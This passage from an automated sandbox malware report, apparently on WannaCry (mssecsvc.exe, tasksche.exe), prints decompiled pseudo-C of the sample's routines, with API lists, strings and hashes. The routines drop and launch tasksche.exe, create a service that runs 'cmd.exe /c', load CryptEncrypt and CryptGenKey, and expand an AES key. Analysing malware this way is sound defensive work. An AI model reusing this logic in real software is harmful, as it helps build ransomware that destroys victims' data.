												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F54FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C

Strings

C:\%s\%s, xrefs: 00407DFB
CloseHandle, xrefs: 00407D29
D, xrefs: 00407ED3
/i, xrefs: 00407E8D
tasksche.exe, xrefs: 00407DEA
CreateFileA, xrefs: 00407D0F
CreateProcessA, xrefs: 00407D07
WINDOWS, xrefs: 00407DF2, 00407E0D
C:\%s\qeriuwjhrf, xrefs: 00407E12
kernel32.dll, xrefs: 00407CEA
WriteFile, xrefs: 00407D1C

Memory Dump Source

Source File: 00000007.00000002.988989089.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.988978588.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989008193.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989014940.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989025229.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989106393.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989175243.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 6128, Parent PID: 7052COMMON

Non-executed Functions

Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E00406C40(intOrPtr* __ecx, void* __edx, intOrPtr _a4, void* _a8, signed int _a11) {
				signed int _v5;
				signed char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				char _v44;
				unsigned int _v72;
				intOrPtr _v96;
				intOrPtr _v100;
				unsigned int _v108;
				unsigned int _v124;
				char _v384;
				char _v644;
				char _t142;
				char _t150;
				void* _t151;
				signed char _t156;
				long _t173;
				signed char _t185;
				signed char* _t190;
				signed char* _t194;
				intOrPtr* _t204;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t209;
				unsigned int _t210;
				char _t212;
				signed char _t230;
				signed int _t234;
				signed char _t238;
				void* _t263;
				unsigned int _t264;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				intOrPtr _t272;
				char* _t274;
				unsigned int _t276;
				signed int _t277;
				void* _t278;
				intOrPtr* _t280;
				void* _t281;
				intOrPtr _t282;

				_t263 = __edx;
				_t213 = __ecx;
				_t272 = _a4;
				_t208 = _t207 | 0xffffffff;
				_t280 = __ecx;
				_v24 = __ecx;
				if(_t272 < _t208) {
					L61:
					return 0x10000;
				}
				_t131 =  *__ecx;
				if(_t272 >=  *((intOrPtr*)( *__ecx + 4))) {
					goto L61;
				}
				if( *((intOrPtr*)(__ecx + 4)) != _t208) {
					E00406A97(_t131);
					_pop(_t213);
				}
				 *(_t280 + 4) = _t208;
				if(_t272 !=  *((intOrPtr*)(_t280 + 0x134))) {
					if(_t272 != _t208) {
						_t132 =  *_t280;
						if(_t272 >=  *( *_t280 + 0x10)) {
							L12:
							_t133 =  *_t280;
							if( *( *_t280 + 0x10) >= _t272) {
								E004064BB( *_t280,  &_v124,  &_v384, 0x104, 0, 0, 0, 0);
								if(L0040657A(_t213, _t263,  *_t280,  &_v44,  &_v20,  &_v16) == 0) {
									_t142 = E00405D0E( *((intOrPtr*)( *_t280)), _v20, 0);
									if(_t142 != 0) {
										L19:
										return 0x800;
									}
									_push(_v16);
									L00407700();
									_v12 = _t142;
									if(L00405D8A(_t142, 1, _v16,  *((intOrPtr*)( *_t280))) == _v16) {
										_t281 = _a8;
										 *_t281 =  *( *_t280 + 0x10);
										strcpy( &_v644,  &_v384);
										_t209 = __imp___mbsstr;
										_t274 =  &_v644;
										while(1) {
											L21:
											_t150 =  *_t274;
											if(_t150 != 0 && _t274[1] == 0x3a) {
												break;
											}
											if(_t150 == 0x5c || _t150 == 0x2f) {
												_t274 =  &(_t274[1]);
												continue;
											} else {
												_t151 =  *_t209(_t274, "\\..\\");
												if(_t151 != 0) {
													L31:
													_t39 = _t151 + 4; // 0x4
													_t274 = _t39;
													continue;
												}
												_t151 =  *_t209(_t274, "\\../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/..\\");
												if(_t151 == 0) {
													strcpy(_t281 + 4, _t274);
													_t264 = _v72;
													_a11 = _a11 & 0x00000000;
													_v5 = _v5 & 0x00000000;
													_t156 = _t264 >> 0x0000001e & 0x00000001;
													_t230 =  !(_t264 >> 0x17) & 0x00000001;
													_t276 = _v124 >> 8;
													_t210 = 1;
													if(_t276 == 0 || _t276 == 7 || _t276 == 0xb || _t276 == 0xe) {
														_a11 = _t264 >> 0x00000001 & 0x00000001;
														_t230 = _t264 & 0x00000001;
														_v5 = _t264 >> 0x00000002 & 0x00000001;
														_t156 = _t264 >> 0x00000004 & 0x00000001;
														_t264 = _t264 >> 0x00000005 & 0x00000001;
														_t210 = _t264;
													}
													_t277 = 0;
													 *(_t281 + 0x108) = 0;
													if(_t156 != 0) {
														 *(_t281 + 0x108) = 0x10;
													}
													if(_t210 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000020;
													}
													if(_a11 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000002;
													}
													if(_t230 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000001;
													}
													if(_v5 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000004;
													}
													 *((intOrPtr*)(_t281 + 0x124)) = _v100;
													 *((intOrPtr*)(_t281 + 0x128)) = _v96;
													_v40.dwLowDateTime = E00406B23(_v108 >> 0x10, _v108);
													_v40.dwHighDateTime = _t264;
													LocalFileTimeToFileTime( &_v40,  &_v32);
													_t173 = _v32.dwLowDateTime;
													_t234 = _v32.dwHighDateTime;
													_t212 = _v12;
													 *(_t281 + 0x10c) = _t173;
													 *(_t281 + 0x114) = _t173;
													 *(_t281 + 0x11c) = _t173;
													 *(_t281 + 0x110) = _t234;
													 *(_t281 + 0x118) = _t234;
													 *(_t281 + 0x120) = _t234;
													if(_v16 <= 4) {
														L57:
														if(_t212 != 0) {
															_push(_t212);
															L004076E8();
														}
														_t282 = _v24;
														memcpy(_t282 + 8, _t281, 0x12c);
														 *((intOrPtr*)(_t282 + 0x134)) = _a4;
														goto L60;
													} else {
														while(1) {
															_v12 =  *((intOrPtr*)(_t277 + _t212));
															_v10 = _v10 & 0x00000000;
															_v11 =  *((intOrPtr*)(_t212 + _t277 + 1));
															_a8 =  *(_t212 + _t277 + 2) & 0x000000ff;
															if(strcmp( &_v12, "UT") == 0) {
																break;
															}
															_t277 = _t277 + _a8 + 4;
															if(_t277 + 4 < _v16) {
																continue;
															}
															goto L57;
														}
														_t238 =  *(_t277 + _t212 + 4) & 0x000000ff;
														_t185 = _t238 >> 0x00000001 & 0x00000001;
														_t278 = _t277 + 5;
														_a11 = _t185;
														_v5 = _t238 >> 0x00000002 & 0x00000001;
														if((_t238 & 0x00000001) != 0) {
															_t271 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t194 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x11c) = E00406B02(_t271,  *_t194 & 0x000000ff | (0 << 0x00000008 | _t271) << 0x00000008);
															_t185 = _a11;
															 *(_t281 + 0x120) = _t271;
														}
														if(_t185 != 0) {
															_t270 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t190 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x10c) = E00406B02(_t270,  *_t190 & 0x000000ff | (0 << 0x00000008 | _t270) << 0x00000008);
															 *(_t281 + 0x110) = _t270;
														}
														if(_v5 != 0) {
															_t269 =  *(_t278 + _t212 + 1) & 0x000000ff;
															 *(_t281 + 0x114) = E00406B02(_t269,  *(_t278 + _t212) & 0x000000ff | (0 << 0x00000008 | _t269) << 0x00000008);
															 *(_t281 + 0x118) = _t269;
														}
														goto L57;
													}
												}
												goto L31;
											}
										}
										_t274 =  &(_t274[2]);
										goto L21;
									}
									_push(_v12);
									L004076E8();
									goto L19;
								}
								return 0x700;
							}
							E00406520(_t133);
							L11:
							_pop(_t213);
							goto L12;
						}
						E004064E2(_t213, _t132);
						goto L11;
					}
					goto L8;
				} else {
					if(_t272 == _t208) {
						L8:
						_t204 = _a8;
						 *_t204 =  *((intOrPtr*)( *_t280 + 4));
						 *((char*)(_t204 + 4)) = 0;
						 *((intOrPtr*)(_t204 + 0x108)) = 0;
						 *((intOrPtr*)(_t204 + 0x10c)) = 0;
						 *((intOrPtr*)(_t204 + 0x110)) = 0;
						 *((intOrPtr*)(_t204 + 0x114)) = 0;
						 *((intOrPtr*)(_t204 + 0x118)) = 0;
						 *((intOrPtr*)(_t204 + 0x11c)) = 0;
						 *((intOrPtr*)(_t204 + 0x120)) = 0;
						 *((intOrPtr*)(_t204 + 0x124)) = 0;
						 *((intOrPtr*)(_t204 + 0x128)) = 0;
						L60:
						return 0;
					}
					memcpy(_a8, _t280 + 8, 0x12c);
					goto L60;
				}
			}

0x00406c40
0x00406c40
0x00406c4c
0x00406c4f
0x00406c52
0x00406c56
0x00406c59
0x00407064
0x00000000
0x00407064
0x00406c5f
0x00406c64
0x00000000
0x00000000
0x00406c6d
0x00406c70
0x00406c75
0x00406c75
0x00406c7c
0x00406c7f
0x00406ca0
0x00406cec
0x00406cf1
0x00406cfa
0x00406cfa
0x00406cff
0x00406d21
0x00406d3e
0x00406d52
0x00406d5c
0x00406d89
0x00000000
0x00406d89
0x00406d5e
0x00406d61
0x00406d68
0x00406d7e
0x00406d95
0x00406d9b
0x00406dab
0x00406db0
0x00406db8
0x00406dbe
0x00406dbe
0x00406dbe
0x00406dc2
0x00000000
0x00000000
0x00406dd0
0x00406dd6
0x00000000
0x00406dd9
0x00406ddf
0x00406de5
0x00406e11
0x00406e11
0x00406e11
0x00000000
0x00406e11
0x00406ded
0x00406df3
0x00000000
0x00000000
0x00406dfb
0x00406e01
0x00000000
0x00000000
0x00406e09
0x00406e0f
0x00406e1b
0x00406e20
0x00406e28
0x00406e2c
0x00406e3c
0x00406e3e
0x00406e41
0x00406e44
0x00406e46
0x00406e61
0x00406e6b
0x00406e6d
0x00406e78
0x00406e7a
0x00406e7c
0x00406e7c
0x00406e7e
0x00406e82
0x00406e88
0x00406e8a
0x00406e8a
0x00406e96
0x00406e98
0x00406e98
0x00406ea3
0x00406ea5
0x00406ea5
0x00406eae
0x00406eb0
0x00406eb0
0x00406ebb
0x00406ebd
0x00406ebd
0x00406eca
0x00406ed3
0x00406ee6
0x00406ef2
0x00406ef5
0x00406efb
0x00406efe
0x00406f05
0x00406f08
0x00406f0e
0x00406f14
0x00406f1a
0x00406f20
0x00406f26
0x00406f2c
0x00407037
0x00407039
0x0040703b
0x0040703c
0x00407041
0x00407048
0x0040704f
0x0040705a
0x00000000
0x00406f32
0x00406f32
0x00406f3a
0x00406f41
0x00406f45
0x00406f4d
0x00406f5d
0x00000000
0x00000000
0x00406f62
0x00406f6c
0x00000000
0x00000000
0x00000000
0x00406f6e
0x00406f73
0x00406f81
0x00406f86
0x00406f89
0x00406f8f
0x00406f92
0x00406f94
0x00406f99
0x00406f9e
0x00406fba
0x00406fc0
0x00406fc4
0x00406fc4
0x00406fcc
0x00406fce
0x00406fd3
0x00406fd8
0x00406ff4
0x00406ffb
0x00406ffb
0x00407005
0x00407007
0x0040702a
0x00407031
0x00407031
0x00000000
0x00407005
0x00406f2c
0x00000000
0x00406e0f
0x00406dd0
0x00406dcb
0x00000000
0x00406dcb
0x00406d80
0x00406d83
0x00000000
0x00406d88
0x00000000
0x00406d40
0x00406d02
0x00406cf9
0x00406cf9
0x00000000
0x00406cf9
0x00406cf4
0x00000000
0x00406cf4
0x00000000
0x00406c81
0x00406c83
0x00406ca2
0x00406ca7
0x00406caa
0x00406cae
0x00406cb1
0x00406cb7
0x00406cbd
0x00406cc3
0x00406cc9
0x00406ccf
0x00406cd5
0x00406cdb
0x00406ce1
0x00407060
0x00000000
0x00407060
0x00406c91
0x00000000
0x00406c96

APIs

memcpy.MSVCRT(?,?,0000012C,?), ref: 00406C91

Strings

/..\, xrefs: 00406E03
\..\, xrefs: 00406DD9
\../, xrefs: 00406DE7
/../, xrefs: 00406DF5

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: memcpy
String ID: /../$/..\$\../$\..\
API String ID: 3510742995-3885502717
Opcode ID: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
Opcode Fuzzy Hash: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401A45() {
				void* _t1;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t11;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;

				_t15 =  *0x40f894; // 0x0
				if(_t15 != 0) {
					L8:
					_t1 = 1;
					return _t1;
				}
				_t11 = LoadLibraryA("advapi32.dll");
				if(_t11 == 0) {
					L9:
					return 0;
				}
				 *0x40f894 = GetProcAddress(_t11, "CryptAcquireContextA");
				 *0x40f898 = GetProcAddress(_t11, "CryptImportKey");
				 *0x40f89c = GetProcAddress(_t11, "CryptDestroyKey");
				 *0x40f8a0 = GetProcAddress(_t11, "CryptEncrypt");
				 *0x40f8a4 = GetProcAddress(_t11, "CryptDecrypt");
				_t9 = GetProcAddress(_t11, "CryptGenKey");
				_t17 =  *0x40f894; // 0x0
				 *0x40f8a8 = _t9;
				if(_t17 == 0) {
					goto L9;
				}
				_t18 =  *0x40f898; // 0x0
				if(_t18 == 0) {
					goto L9;
				}
				_t19 =  *0x40f89c; // 0x0
				if(_t19 == 0) {
					goto L9;
				}
				_t20 =  *0x40f8a0; // 0x0
				if(_t20 == 0) {
					goto L9;
				}
				_t21 =  *0x40f8a4; // 0x0
				if(_t21 == 0 || _t9 == 0) {
					goto L9;
				} else {
					goto L8;
				}
			}

0x00401a48
0x00401a4f
0x00401aec
0x00401aee
0x00000000
0x00401aee
0x00401a60
0x00401a64
0x00401af1
0x00000000
0x00401af1
0x00401a7f
0x00401a8c
0x00401a99
0x00401aa6
0x00401ab3
0x00401ab8
0x00401aba
0x00401ac0
0x00401ac6
0x00000000
0x00000000
0x00401ac8
0x00401ace
0x00000000
0x00000000
0x00401ad0
0x00401ad6
0x00000000
0x00000000
0x00401ad8
0x00401ade
0x00000000
0x00000000
0x00401ae0
0x00401ae6
0x00000000
0x00000000
0x00000000
0x00000000

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8

Strings

CryptDecrypt, xrefs: 00401AA0
CryptDestroyKey, xrefs: 00401A86
advapi32.dll, xrefs: 00401A55
CryptGenKey, xrefs: 00401AAD
CryptAcquireContextA, xrefs: 00401A71
CryptEncrypt, xrefs: 00401A93
CryptImportKey, xrefs: 00401A79

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
API String ID: 2238633743-2459060434
Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C

Uniqueness

Uniqueness Score: -1.00%

Function 00401CE8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CE8(intOrPtr _a4) {
				void* _v8;
				int _v12;
				void* _v16;
				char _v1040;
				void* _t12;
				void* _t13;
				void* _t31;
				int _t32;

				_v12 = 0;
				_t12 = OpenSCManagerA(0, 0, 0xf003f);
				_v8 = _t12;
				if(_t12 != 0) {
					_t13 = OpenServiceA(_t12, 0x40f8ac, 0xf01ff);
					_v16 = _t13;
					if(_t13 == 0) {
						sprintf( &_v1040, "cmd.exe /c \"%s\"", _a4);
						_t31 = CreateServiceA(_v8, 0x40f8ac, 0x40f8ac, 0xf01ff, 0x10, 2, 1,  &_v1040, 0, 0, 0, 0, 0);
						if(_t31 != 0) {
							StartServiceA(_t31, 0, 0);
							CloseServiceHandle(_t31);
							_v12 = 1;
						}
						_t32 = _v12;
					} else {
						StartServiceA(_t13, 0, 0);
						CloseServiceHandle(_v16);
						_t32 = 1;
					}
					CloseServiceHandle(_v8);
					return _t32;
				}
				return 0;
			}

0x00401cfb
0x00401cfe
0x00401d06
0x00401d09
0x00401d21
0x00401d29
0x00401d2c
0x00401d54
0x00401d7b
0x00401d7f
0x00401d84
0x00401d8b
0x00401d91
0x00401d91
0x00401d98
0x00401d2e
0x00401d31
0x00401d3a
0x00401d42
0x00401d42
0x00401d9e
0x00000000
0x00401da7
0x00000000

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
OpenServiceA.ADVAPI32(00000000,0040F8AC,000F01FF), ref: 00401D21
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
CloseServiceHandle.ADVAPI32(?), ref: 00401D9E

Strings

cmd.exe /c "%s", xrefs: 00401D4E

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ManagerStart
String ID: cmd.exe /c "%s"
API String ID: 1485051382-955883872
Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00402A76(void* __ecx, signed int _a4, void* _a6, void* _a7, signed int _a8, signed int _a12, signed char* _a16) {
				signed int _v8;
				signed int _v12;
				char _v24;
				int _t193;
				signed int _t198;
				int _t199;
				intOrPtr _t200;
				signed int* _t205;
				signed char* _t206;
				signed int _t208;
				signed int _t210;
				signed int* _t216;
				signed int _t217;
				signed int* _t220;
				signed int* _t229;
				void* _t252;
				void* _t280;
				void* _t281;
				signed int _t283;
				signed int _t289;
				signed int _t290;
				signed char* _t291;
				signed int _t292;
				void* _t303;
				void* _t313;
				intOrPtr* _t314;
				void* _t315;
				intOrPtr* _t316;
				signed char* _t317;
				signed char* _t319;
				signed int _t320;
				signed int _t322;
				void* _t326;
				void* _t327;
				signed int _t329;
				signed int _t337;
				intOrPtr _t338;
				signed int _t340;
				intOrPtr _t341;
				void* _t342;
				signed int _t345;
				signed int* _t346;
				signed int _t347;
				void* _t352;
				void* _t353;
				void* _t354;

				_t352 = __ecx;
				if(_a4 == 0) {
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t283 = _a12;
				_t252 = 0x18;
				_t342 = 0x10;
				if(_t283 != _t342 && _t283 != _t252 && _t283 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t193 = _a16;
				if(_t193 != _t342 && _t193 != _t252 && _t193 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_t193 =  &_v24;
					_push(0x40d570);
					_push(_t193);
					L0040776E();
				}
				 *(_t352 + 0x3cc) = _t193;
				 *(_t352 + 0x3c8) = _t283;
				memcpy(_t352 + 0x3d0, _a8, _t193);
				memcpy(_t352 + 0x3f0, _a8,  *(_t352 + 0x3cc));
				_t198 =  *(_t352 + 0x3c8);
				_t354 = _t353 + 0x18;
				if(_t198 == _t342) {
					_t199 =  *(_t352 + 0x3cc);
					if(_t199 != _t342) {
						_t200 = ((0 | _t199 != _t252) - 0x00000001 & 0xfffffffe) + 0xe;
					} else {
						_t200 = 0xa;
					}
					goto L17;
				} else {
					if(_t198 == _t252) {
						_t200 = ((0 |  *(_t352 + 0x3cc) == 0x00000020) - 0x00000001 & 0x000000fe) + 0xe;
						L17:
						 *((intOrPtr*)(_t352 + 0x410)) = _t200;
						L18:
						asm("cdq");
						_t289 = 4;
						_t326 = 0;
						_a12 =  *(_t352 + 0x3cc) / _t289;
						if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
							L23:
							_t327 = 0;
							if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
								L28:
								asm("cdq");
								_t290 = 4;
								_t291 = _a4;
								_t345 = ( *((intOrPtr*)(_t352 + 0x410)) + 1) * _a12;
								_v12 = _t345;
								_t329 =  *(_t352 + 0x3c8) / _t290;
								_t205 = _t352 + 0x414;
								_v8 = _t329;
								if(_t329 <= 0) {
									L31:
									_a8 = _a8 & 0x00000000;
									if(_t329 <= 0) {
										L35:
										if(_a8 >= _t345) {
											L51:
											_t206 = 1;
											_a16 = _t206;
											if( *((intOrPtr*)(_t352 + 0x410)) <= _t206) {
												L57:
												 *((char*)(_t352 + 4)) = 1;
												return _t206;
											}
											_a8 = _t352 + 0x208;
											do {
												_t292 = _a12;
												if(_t292 <= 0) {
													goto L56;
												}
												_t346 = _a8;
												do {
													_t208 =  *_t346;
													_a4 = _t208;
													 *_t346 =  *0x0040ABFC ^  *0x0040AFFC ^  *0x0040B3FC ^  *(0x40b7fc + (_t208 & 0x000000ff) * 4);
													_t346 =  &(_t346[1]);
													_t292 = _t292 - 1;
												} while (_t292 != 0);
												L56:
												_a16 =  &(_a16[1]);
												_a8 = _a8 + 0x20;
												_t206 = _a16;
											} while (_t206 <  *((intOrPtr*)(_t352 + 0x410)));
											goto L57;
										}
										_a16 = 0x40bbfc;
										do {
											_t210 =  *(_t352 + 0x410 + _t329 * 4);
											_a4 = _t210;
											 *(_t352 + 0x414) =  *(_t352 + 0x414) ^ ((( *0x004089FC ^  *_a16) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t210 & 0x000000ff) + 0x4089fc) & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff;
											_a16 = _a16 + 1;
											if(_t329 == 8) {
												_t216 = _t352 + 0x418;
												_t303 = 3;
												do {
													 *_t216 =  *_t216 ^  *(_t216 - 4);
													_t216 =  &(_t216[1]);
